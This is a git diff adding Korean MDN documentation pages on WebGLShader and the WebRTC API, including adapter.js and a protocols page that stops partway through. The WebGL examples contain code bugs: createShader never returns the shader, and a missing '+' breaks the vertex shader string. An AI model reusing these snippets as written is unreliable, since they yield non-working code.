diff --git a/files/ko/web/api/webglshader/index.html b/files/ko/web/api/webglshader/index.html
new file mode 100644
index 0000000000..b1bce2dc08
--- /dev/null
+++ b/files/ko/web/api/webglshader/index.html
@@ -0,0 +1,171 @@
+---
+title: WebGLShader
+slug: Web/API/WebGLShader
+translation_of: Web/API/WebGLShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<div><strong>WebGLShader</strong> 는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API">WebGL API</a> 의 일부이며 정점 혹은 프래그먼트 셰이더가 될 수 있다. {{domxref("WebGLProgram")}} 는 두 타입의 셰이더 모두를 요구한다.</div>
+
+<div> </div>
+
+<h2 id="설명">설명</h2>
+
+<p><strong>WebGLShader</strong> 를 생성하려면 {{domxref("WebGLRenderingContext.createShader")}}를 사용한다. 그러고 나서는  {{domxref("WebGLRenderingContext.shaderSource()")}}를 사용해서 GLSL 소스 코드를 연결한다. 마지막으로{{domxref("WebGLRenderingContext.compileShader()")}}를 호출하고 셰이더를 컴파일한다. 이 시점에서 <strong>WebGLShader</strong> 는 여전히 사용할 수 있는 형식은 아니고{{domxref("WebGLProgram")}}에 부착되어야 한다.</p>
+
+<pre class="brush: js">function createShader (gl, sourceCode, type) {
+ // 셰이더 타입 gl.VERTEX_SHADER 또는 gl.FRAGMENT_SHADER 중 하나를 컴파일한다.
+ var shader = gl.createShader( type );
+ gl.shaderSource( shader, sourceCode );
+ gl.compileShader( shader );
+
+ if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+ var info = gl.getShaderInfoLog( shader );
+ throw "Could not compile WebGL program. \n\n" + info;
+ }
+}
+</pre>
+
+<p>셰이더 부착에 관한 정보는 {{domxref("WebGLProgram")}} 를 참고한다.</p>
+
+<h2 id="예시들">예시들</h2>
+
+<h3 id="정점_셰이더_생성하기">정점 셰이더 생성하기</h3>
+
+<p>셰이더 소스 코드 문자열들을 작성하고 접근하는 많은 다른 방법들이 있다는 점에 주목하라. 여기의 예는 오직 설명을 목적으로 한다.</p>
+
+<pre class="brush: js">var vertexShaderSource =
+ "attribute vec4 position;\n"
+ "void main() {\n"+
+ " gl_Position = position;\n"+
+ "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+</pre>
+
+<h3 id="프래그먼트_셰이더_생성하기">프래그먼트 셰이더 생성하기</h3>
+
+<pre class="brush: js">var fragmentShaderSource =
+ "void main() {\n"+
+ " gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
+ "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+</pre>
+
+<h2 id="명세들">명세들</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebGL', "#5.8", "WebGLShader")}}</td>
+ <td>{{Spec2('WebGL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("9")}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatIE("11")}}</td>
+ <td>{{CompatOpera("12")}}</td>
+ <td>{{CompatSafari("5.1")}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(44)}} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>25</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>12</td>
+ <td>8.1</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(44)}} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/adapter.js/index.html b/files/ko/web/api/webrtc_api/adapter.js/index.html
new file mode 100644
index 0000000000..95b8400d3d
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/adapter.js/index.html
@@ -0,0 +1,40 @@
+---
+title: Improving compatibility using WebRTC adapter.js
+slug: Web/API/WebRTC_API/adapter.js
+translation_of: Web/API/WebRTC_API/adapter.js
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>WebRTC <a href="http://www.w3.org/TR/webrtc/">사양</a>은 비교적 인정적이지만, 모든 브라우저가 모든 기능이 구현되어 있는 것은 아니다. 또한, 일부 브라우저는 여전히 일부 혹은 모든 WebRTC API에 접두사가 붙어 있는상황이다. 이러한 문제에 대해 수동적으로 코딩을 할 수 있지만, 더 쉬운 방법이 있다.WebRTC 단체는 다른 브라우저의 WebRTC 구현에서 호환성 문제를 해결하기 위해<span class="seoSummary"> <a href="https://github.com/webrtc/adapter/">WebRTC 어댑터를 GitHub에서 제공한다.</a> 어댑터는 WebRTC가 지원되는 모든 브라우저에서 "그냥 작동"되도록 당신이 작성한 코드가 사양에 적합하도록 해 주는 JavaScript 코드 모음이다. 더이상 접두사 API를 조건부로 사용하거나 다른 해결 방법을 구현할 필요가 없다.</span></p>
+
+<div class="note">
+<p><strong>참고:</strong> WebRTC 및 지원 브라우저에서 API 용어의 기능과 이름 지정이 지속적으로 변경되고 있기 때문에, 일반적으로 이 어댑터의 사용을 권장한다.</p>
+</div>
+
+<p>이 어댑터는 <a href="https://github.com/webrtc/adapter/blob/master/LICENSE.md">BSD 스타일 라이선스</a>로 제공된다.</p>
+
+<h2 id="What_adapter.js_does">What adapter.js does</h2>
+
+<p>For each version of each browser that supports WebRTC, adapter.js implements the needed polyfills, establishes the non-prefixed names of APIs, and applies any other changes needed to make the browser run code written to the WebRTC specification.</p>
+
+<p>For example, on Firefox versions older than 38, the adapter adds the {{domxref("RTCPeerConnection.urls")}} property; Firefox doesn't natively support this property until Firefox 38, while on Chrome, the adapter adds support for the {{jsxref("Promise")}} based API is added if it's not present. These are just a couple of examples; there are of course other adjustments made for you by the shim.</p>
+
+<p>The WebRTC adapter currently supports Mozilla Firefox, Google Chrome, Apple Safari, and Microsoft Edge.</p>
+
+<h2 id="Using_adapter.js">Using adapter.js</h2>
+
+<p>In order to use adapter.js, you need to include adapter.js on any page that uses WebRTC APIs:</p>
+
+<ol>
+ <li>Download a copy of the <a href="https://github.com/webrtc/adapter/tree/master/release">latest version of adapter.js</a> from GitHub.</li>
+ <li>Place it in your site's directory structure (such as in your scripts directory).</li>
+ <li>Include adapter.js in your project: <code>&lt;script src="adapter.js"&gt;&lt;/script&gt;</code></li>
+ <li>Write your code, using WebRTC APIs per the specification, knowing that your code should work on all browsers.</li>
+ <li>Keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser).</li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/webrtc/adapter">The WebRTC adapter project on GitHub</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/index.html b/files/ko/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..6ecafcfd84
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/index.html
@@ -0,0 +1,225 @@
+---
+title: WebRTC API
+slug: Web/API/WebRTC_API
+tags:
+ - API
+ - Audio
+ - Landing
+ - Media
+ - NeedsTranslation
+ - Networking
+ - TopicStub
+ - Video
+ - WebRTC
+ - WebRTC API
+ - streaming
+translation_of: Web/API/WebRTC_API
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><strong>WebRTC</strong>(Web Real-Time Communication)은 웹 애플리케이션과 사이트가 중간자 없이 브라우저 간에 오디오나 영상 미디어를 포착하고 마음대로 스트림할 뿐 아니라, 임의의 데이터도 교환할 수 있도록 하는 기술입니다. WebRTC를 구성하는 일련의 표준들은 플러그인이나 제 3자 소프트웨어 설치 없이 종단 간 데이터 공유와 화상 회의를 가능하게 합니다.</p>
+
+<p>이를 위하여 WebRTC는 상호 연관된 API와 프로토콜로 구성되어 함께 작동합니다. 이 문서에서는 WebRTC의 기본을 이해하고, 설정하며, 데이터와 미디어 연결을 위해 사용할 수 있게 도와줄 것입니다.</p>
+
+<h2 id="상호_운용성">상호 운용성</h2>
+
+<p>WebRTC의 구현이 계속 진화하고 있으며 각 브라우저마다 다른 코덱 및 기타 미디어 기능에 대한 지원 수준이 다르기 때문에, 코드 작성을 시작하기 전에 Google에서 제공하는 <a href="https://github.com/webrtcHacks/adapter">Adapter.js 라이브러리</a>를 사용하는 것을 강력하게 고려해보아야합니다.</p>
+
+<p>Adapter.js는 shim 및 polyfill을 사용하여 다양한 플랫폼에서 WebRTC 구현 간의 다양한 차이점을 없애줍니다. 또한 WebRTC 개발 프로세스를 전체적으로 쉽게 수행 할 수 있도록 접두사와 다른 이름 지정의 차이점을 처리하며보다 광범위하게 호환되는 결과를 제공합니다. 라이브러리는 <a href="https://www.npmjs.com/package/webrtc-adapter">NPM 패키지</a>로도 제공됩니다.</p>
+
+<p>Adapter.js에 대한 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a>를 참조하십시오.</p>
+
+<h2 id="WebRTC_개념_및_사용법">WebRTC 개념 및 사용법</h2>
+
+<p>WebRTC는 여러가지 목적으로 사용될 수 있으며, Media Capture and Streams API 와 상당히 많은 부분이 겹친다. 이 둘은 서로 상호작용을 하면서 웹에 강력한 멀티미디어 기능을 제공한다. 예를들어 음성, 화상 회의, 파일 교환, <del>계정 관리</del>, <del>DTMF 시그널을 이용해 legacy telephone 시스템 interfacing</del> 등이 있다. 피어들 간의 커넥션이 만들어지는데 어떤 드라이버나 플러그인도 필요하지 않는다. <del>그리고 가끔은 중개 서버 없이도 만들어질 수 있다.</del></p>
+
+<p>두 피어 간의 커넥션은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>인터페이스를 통해 이루어진다. 커넥션이 이루어지고 열리면, 미디어 스트림들 (<a href="https://www.gitbook.com/book/gustnxodjs/webrtc-mdn-kor/edit#"><code>MediaStream</code></a>) 과 데이터 채널(<a href="https://www.gitbook.com/book/gustnxodjs/webrtc-mdn-kor/edit#"><code>RTCDataChannel</code></a>)들을 커넥션에 연결할 수 있다.</p>
+
+<p>미디어 스트림들은 미디어 정보를 가지는 다수의 트랙들로 구성될 수 있다. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack"><code>MediaStreamTrack</code></a>인터페이스 object를 베이스로 하는 트랙은 음성, 영상 및 텍스트(제목 또는 챕터 이름 조차도 포함 가능하다)를 포함하는 다양한 미디어 데이터의 타입 중 하나를 포함 할 수 있다. 대부분의 스트림들은 적어도 한 개 이상의 음성(영상) 트랙으로 구성되어 있고, live 미디어(웹 캠 등)나 저장된(스트리밍) 미디어들을 전송하고 받을 수 있다.</p>
+
+<p>또한, 임의의 바이너리 데이터(이미지든 텍스트든 파일이든 모두 가능하다는 뜻)를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannel"><code>RTCDataChannel</code></a>인터페이스를 통해 피어들 간에 교환할 수 있다. 이것은 <del>back-channel 정보들</del>, 메타데이터 교환, 게임 status 패킷들, 파일 교환, <del>데이터 교환을 위한 primary channel</del> 등에 쓰일 수 있다.</p>
+
+<p><em><strong>더 자세한 내용은 밑에 guide와 tutorial을 참조하길 바란다</strong></em></p>
+
+<h2 id="WebRTC_인터페이스">WebRTC 인터페이스</h2>
+
+<p>WebRTC는 다양한 작업을 수행하기 위해 함께 동작하는 인터페이스를 제공하기때문에 아래 목록의 인터페이스들을 카테고리별로 나누었다. 알파벳 순으로 정리된 목록은 사이드 바를 참조하라.</p>
+
+<h3 id="연결_설정_및_관리">연결 설정 및 관리</h3>
+
+<p>이 인터페이스들을 사용하여 WebRTC 연결을 설정할 수 있고, 연결을 맺을 수 있으며 WebRTC 연결을 관리할 수 있다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 나타낸다. 두 피어 간의 효율적인 데이터 스트리밍을 처리하는데 사용된다.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>연결된 두 피어간의 양방향 데이터 채널을 나타낸다.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>{{domxref("RTCDataChannel")}}을 {{domxref("RTCPeerConnection")}}에 연결하는 동안 발생하는 이벤트를 나타낸다. 이 인터페이스와 함께 전송되는 유일한 이벤트는 {{event("datachannel")}}이다.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>세션의 매개 변수를 나타냅니다. 각 <code>RTCSessionDescription</code>는 세션의  {{Glossary("SDP")}} 기술자(descriptor)의 기술 제안 / 응답 협상 과정의 일부를 나타내는 설명  {{DOMxRef("RTCSessionDescription.type", "type")}}으로 구성되어 있습니다.</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>연결 또는 연결의 개별 트랙에 대한 통계를 자세히 설명하는 정보를 제공합니다. {{domxref("RTCPeerConnection.getStats()")}}를 호출하여 보고서를 얻을 수 있습니다.</dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>{{domxref("RTCPeerConnection")}} 설정을 위한 후보 인터넷 연결 설정 (ICE; internet connectivity establishment) 서버를 나타냅니다.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>인터넷 연결 설정 (ICE) 전송에 대한 정보를 나타냅니다.</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>대상이있는 ICE 후보와 관련하여 발생하는 이벤트 (일반적으로 {{domxref("RTCPeerConnection")}})를 나타냅니다. {{event ( "icecandidate")}} 유형의 이벤트 만 있습니다.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 인코딩 및 전송을 관리합니다.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 수신 및 디코딩을 관리합니다.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>새롭게 수신된 {{domxref ( "MediaStreamTrack")}}이 생성되고 관련 {{domxref ( "RTCRtpReceiver")}} 개체가 {{domxref ( "RTCPeerConnection")}} 개체에 추가되었음을 나타냅니다.</dd>
+ <dt>{{DOMxRef("RTCSctpTransport")}}</dt>
+ <dd>스트림 제어 전송 프로토콜(<em>Stream Control Transmission Protocol, </em><strong>{{Glossary("SCTP")}}</strong>) 전송을 설명하는 정보를 제공하고, 모든 <code><a href="/en-US/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed.">RTCPeerConnection</a></code> 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, <strong>{{Glossary("DTLS")}}</strong>) 전송에 접근하기 위한 방법을 제공합니다.</dd>
+ <dt>
+ <h4 id="Dictionaries">Dictionaries</h4>
+ </dt>
+ <dt>{{DOMxRef("RTCConfiguration")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed."><code>RTCPeerConnection</code></a> 구성 옵션을 제공하는데 사용됩니다.</dd>
+ <dt>{{DOMxRef("RTCIceServer")}}</dt>
+ <dd>Defines how to connect to a single {{Glossary("ICE")}} server (such as a {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</dd>
+ <dt>{{DOMxRef("RTCRtpContributingSource")}}</dt>
+ <dd>Contains information about a given contributing source (CSRC) including the most recent time a packet that the source contributed was played out.</dd>
+ <dt>
+ <h4 id="Types">Types</h4>
+ </dt>
+ <dt>{{DOMxRef("RTCSctpTransportState")}}</dt>
+ <dd>Indicates the state of an {{DOMxRef("RTCSctpTransport")}} instance.</dd>
+ <dt>{{DOMxRef("RTCSessionDescriptionCallback")}}</dt>
+ <dd>The RTCSessionDescriptionCallback is passed into the {{DOMxRef("RTCPeerConnection")}} object when requesting it to create offers or answers.</dd>
+</dl>
+
+<h3 id="식별자와_보안">식별자와 보안</h3>
+
+<p>WebRTC API에는 보안 및 식별자를 관리하기위한 여러 인터페이스가 포함되어 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>사용자 에이전트가 Identity Assertion을 생성 또는 검증을 요청할수 있도록합니다.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Represents the identity of the a remote peer of the current connection. If no peer has yet been set and verified this interface returns <code>null</code>. Once set it can't be changed.</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>식별자 공급자(idP; identity provider)를 제공합니다.</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Represents an identity assertion generated by an identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. The only event sent with this type is {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Represents an error associated with the identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. Two events are sent with this type: {{event("idpassertionerror")}} and {{event("idpvalidationerror")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Represents a certificate that an {{domxref("RTCPeerConnection")}} uses to authenticate.</dd>
+</dl>
+
+<h3 id="Telephony">Telephony</h3>
+
+<p>이러한 인터페이스들은 공중 전화망 (PTSN; public-switched telephone networks)과의 상호 작용과 관련이 있습니다</p>
+
+<dl>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Manages the encoding and transmission of dual-tone multi-frequency (DTMF) signaling for an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Indicates an occurrence of a of dual-tone multi-frequency (DTMF). This event does not bubble (except where otherwise stated) and is not cancelable (except where otherwise stated).</dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Introduction to WebRTC protocols</a></dt>
+ <dd>이 문서는 WebRTC API가 구축된 기반이 되는 프로토콜을 소개한다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></dt>
+ <dd>WebRTC 커넥션의 작동 방식 및 다양한 프로토콜과 인터페이스를 함께 사용하여 강력한 커뮤니케이션 앱을 만드는 방법에 대한 가이드이다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></dt>
+ <dd>WebRTC는 임의 데이터, 오디오, 비디오 또는 이들의 모든 조합에 대한 피어 투 피어 커뮤니케이션을 브라우저 어플리케이션으로 구축하도록 해준다. 이 문서에서는, 모든 방법으로 커넥션을 설정하는 것에서 부터 더 이상 필요하지 않을 때 커넥션을 닫는 것까지 WebRTC 세션의 수명에 대해 살펴볼 것이다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and two-way video calling</a></dt>
+ <dd>여러 사용자들 간의 화상통화를 할 수 있는 Websocket을 기반으로한 튜토리얼 및 예제이다. 채팅 서버의 웹소켓 커넥션은 WebRTC의 시그널링을 위해 사용된다.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd>A guide to the codecs which WebRTC requires browsers to support as well as the optional ones supported by various popular browsers. Included is a guide to help you choose the best codecs for your needs.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Using WebRTC data channels</a></dt>
+ <dd>이 가이드는 두 피어 사이의 임의의 데이터를 교환하기 위해 피어 커넥션와 관련된 {{domxref("RTCDataChannel")}}을 사용할 수 있는 방법을 다룬다.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_DTMF">Using DTMF with WebRTC</a></dt>
+ <dd>구식 전화 시스템에 연결되는 게이트웨이와 상호 작용하기 위한 WebRTC의 지원에는 {{domxref("RTCDTMFSender")}} 인터페이스를 사용하여 DTMF 톤을 보내는 기능이 포함된다. 이 가이드는 어떻게 그렇게 하는지 보여준다.</dd>
+</dl>
+
+<h2 id="Tutorials">Tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a></dt>
+ <dd>The WebRTC organization <a href="https://github.com/webrtc/adapter/">provides on GitHub the WebRTC adapter</a> to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></dt>
+ <dd>This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></dt>
+ <dd>The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, so that the same programming model can be used for each.</dd>
+</dl>
+
+<h2 id="Resources">Resources</h2>
+
+<h3 id="Protocols">Protocols</h3>
+
+<h4 id="WebRTC-proper_protocols">WebRTC-proper protocols</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Application Layer Protocol Negotiation for Web Real-Time Communications</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Audio Codec and Processing Requirements</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Data Channels</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Data Channel Protocol</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Web Real-Time Communication (WebRTC): Media Transport and Use of RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Security Architecture</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports for RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Related_supporting_protocols">Related supporting protocols</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocol</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Session Traversal Utilities for NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>URI Scheme for the Session Traversal Utilities for NAT (STUN) Protocol</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>The initial definition of the API of WebRTC.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>The initial definition of the object conveying the stream of media content.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under <a href="#Protocols">resources</a>.</p>
+
+<h2 class="Related_Topics" id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/protocols/index.html b/files/ko/web/api/webrtc_api/protocols/index.html
new file mode 100644
index 0000000000..0c417aa619
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/protocols/index.html
@@ -0,0 +1,57 @@
+---
+title: WebRTC 프로토콜 소개
+slug: Web/API/WebRTC_API/Protocols
+translation_of: Web/API/WebRTC_API/Protocols
+---
+<div>{{WebRTCSidebar}}{{draft}}</div>
+
+<p>이 글은 WebRTC API에 대한 프로토콜을 소개하기 위해 작성 되었습니다.</p>
+
+<h2 id="ICE">ICE</h2>
+
